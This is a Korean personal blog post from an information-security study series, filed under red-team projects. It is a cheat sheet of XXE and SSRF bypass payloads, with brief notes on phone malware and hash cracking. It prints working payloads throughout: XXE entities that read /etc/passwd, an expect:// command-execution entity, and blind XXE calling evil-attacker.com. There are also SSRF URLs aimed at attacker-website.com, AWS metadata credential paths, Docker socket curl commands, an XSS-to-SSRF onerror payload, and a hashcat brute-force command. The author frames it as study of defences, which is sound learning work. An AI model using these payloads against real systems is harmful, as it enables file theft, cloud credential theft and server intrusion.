정보보안 스터디 - 28주차 6일 - XXE, SSRF 우회 방안 및 cheat sheet

Red Team/프로젝트 관련

정보보안 스터디 - 28주차 6일 - XXE, SSRF 우회 방안 및 cheat sheet

wonder12 2023. 4. 26. 06:22

대응 우회 방안 연구 겸 Cheat sheet입니다.

☞ XXE

서버에게 요청을 보낼 때

XML이고 응답은 plain형식이라면 어떻게 뚫을까요?

xpath는 DB를 구성해야 injection하는 의미가 있기 때문에 생략합니다.(xpath injection한다고 한들 안위험하고)

xml구조라면 일단 XXE 즉, DTD injection이 통하는 지 봐야합니다.

만약에 된다면 http://, file:///etc/passwd 등 SSRF를 시도할 수 있습니다.

근데 지금 서버에서 비활성화 해놓았는지 DTD가 안되고 있습니다. 가장 확실한 방법입니다.

처음에는 xml 노드에 onclick 등 기존 태그 활용 하거나
xml안에 js 넣는법, 아니면 contetntype등 형태 벗어나는 방법 없을까? 라고 고민했지만

노드는 속성같은 걸 수정을 못하고 xml안에 javascript 넣는 방법은

원래는 <> 같은 기호가 Predefined Entities라서 parse가 되서 <>로 역 entity 치환됩니다. 따라서 응답에 보면 스크립트를 실행할 수 있지만 POST방식이라면 주소 특정이 어렵습니다.

parse없이 <>로 스크립트를 추가할 수는 없습니다.

<![CDATA> / PCDATA (parsed character data)

parse 적용하지 않고 스크립트, html 그대로 보여주거나 반대로 parse적용 하는 방법이 있습니다.

만약에 안된다면 서버측에서 클라이언트 측의 DTD 수정을 막고있기 때문에 blind XXE를 시도합니다.

xml구조 취약점 = xxe해야될 듯한데

반대로 대응방안
Don't allow DTDs 막아놨을 수 있습다.

등등 여러가지 대응방안이 있습니다.

DTD Retrieval 외부 dtd얻기 가능 dtd는 <!ENTITY name "Taylor Gray">  이거라서 노드추가해서 적용시키면 됨
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE person SYSTEM "person.dtd">
<person>
  <name>&name;</name>
</person>

remote code execution

<!ENTITY xxe SYSTEM "expect://ifconfig">

서버측에서 아마 막고있을 거기 때문에 그러면 우회 뚫는 방법이 필요하겠네요.
>>> blind xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % xxe SYSTEM "http://evil-attacker.com"> %xxe; 
]>

에러 요청해서 노출

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo
[
<!ENTITY % badfile SYSTEM "file:///etc/pâsswd">
<!ENTITY % wrapper "<!ENTITY &#x25; induce SYSTEM 'file:///nosuchfileexists/%badfile'>">
%wrapper
%induce
]>

more 및 대응방안 = 서버측 대응 방안을 아는 것도 중요합니다.
https://snyk.io/blog/find-and-fix-xml-entity-vulnerabilities/

☞ SSRF는 발견했는데 어떻게 활용할까요. cheat sheet

file:///etc/passwd 도 안되는 상황이고. > 다른 경로의 PoC 예시 파일
/var/www/html/index.html
/usr/bin/nano
/etc/nfs.conf
/etc/fstab

/etc/hosts
/etc/resolv.conf

포트스캔도 가능하다고 하는데...? coming soon
file 톰캣 경로?

file://path/to/file
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!

java
url:file:///etc/passwd
url:http://127.0.0.1:8080
tomcat 접속 8080

SSRF 관련 블랙리스트 필터링 시 우회할 경우 = localhost통하는 걸 보니 필터링은 없는 듯합니다.

localhost이 안되면
127.0.01 도 안되면
127.0.1, 127.1 등
⑫７｡⓪．𝟢。𝟷

netdoc:///etc/passwd
netdoc:///etc/hosts
jar:http://localhost!/
127.0.0.1:22
http://0.0.0.0:80
file://\/\/etc/passw

큰 프레임은 두고 세부애들만 움직이기 때문에 ajax라고 할 수 있을까요? 근데 그렇다기엔 js가 아닌 html로 움직이는데, 아마 프레임워크를 더 공부해야할 듯합니다.

그리고 ip가 노출되면 이렇게 되면
뭘 악용할 수 있을지, 대응방안을 생각해봅시다.

SSRF from XSS
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

클라우드 환경일 경우- AWS Elastic Beanstalk
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"

for docker
http://127.0.0.1:2375/v1.24/containers/json

Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

more
https://useegod.com/2021/11/01/ssrf/

☞ 악성 앱, 폰 해킹에 대한 오해와 진실

공유기 해킹만으로 폰이 해킹 되지는 않습니다. = 피싱사이트로 유도는 가능하지만 좀비폰으로는 바로 x 폰이 취약한거임.
피해자는 본인이 잘못한 사실을 숨길려는 경향이 있기 떄문입니다.

악성앱 깔기 까지 하고 실행 > 개인정보, 사진첩 등 다가져갔을 겁니다. 주민등록번호, 통장사본 등
-> 비대면 대출 7천 받았을 수 있습니다.

iOS 악성앱은 거의 없으며 만들기 어렵습니다.
만들어도 설치해서 실행하지 못합니다. 탈옥안된 이상.

애플 자체가 검열해서 차단하기 때문입니다.

구글, 애플(>클라우드) 계정 무조건 2차인증은 해야됩니다. 거의 모든 게 다있어서
> 돈까지 나갈 수 있습니다.
신용카드로 > 애플제품 주문 가능.

휴대폰 = 모든 게 저장되어있는 심장이며, 물리접근 하면 신분속이기 가능합니다. usim 복제 스와핑. > 가상화폐 등

만든 악성 앱을 뿌리고 실행시키고 싶을 때 개발자를 해킹하면됩니다.
개발자들이 많이 사용하는 라이브러리나
컴퓨터 해킹해서 악성코드에 몰래 숨겨놓는다거나
> github뿐만 아니라, 구글스토어에서 승인해줍니다. - 그래도 검증하기 때문에 그나마 안전

루팅/탈옥 하면 안됩니다.
해커들도 주인이 될 수 있음. = 최고 관리자 권한

☞ 해시를 크랙하는 법

비밀번호 찾기 할 떄 일반적으로 진짜 서버도 몰라서 비밀번호 못알려줍니다. 재설정하라고합니다.
만약에 알려준다면 진짜 평문으로 저장하니 위험하고, 불순한 의도일 수 있습니다.
DB에 해시값말고도 따로 행만들어서 평문으로 저장하는 경우도 있습니다.(개발 환경 실수?)

SHA-1 해시값
해시 취약점
1) hash collision
wonder -> 1234
이상한 값 -> 1234
같은 값이 나올 수 있습니다.
긴값을 짧은 애로 줄이는 것이기 때문에 중복되는 애가 있을 수 있습니다.
= MD5 해시충돌 자체가 쉽다.

2) 다 때려넣습니다.
위랑 비슷하게 똑같은게 나올 떄까지 때려넣으면 됩니다.

hashcat -a [mode] ?d?d?d?d
d= 0~9 숫자

combination
1234> 자동화

brute-force
때려넣음

결론은 1234면 금방 크랙됩니다. DB는 한번쯤은 털린다고 생각하고
> 비밀번호 어렵게 만들어야하는 이유입니다.

3) rainbow table
사람들이 많이쓰는 비밀번호들을 hash로 만들어서 보관 > 미리 보관되었기 때문에 온라인임에도 빨리 찾을 수 있습니다.

저작자표시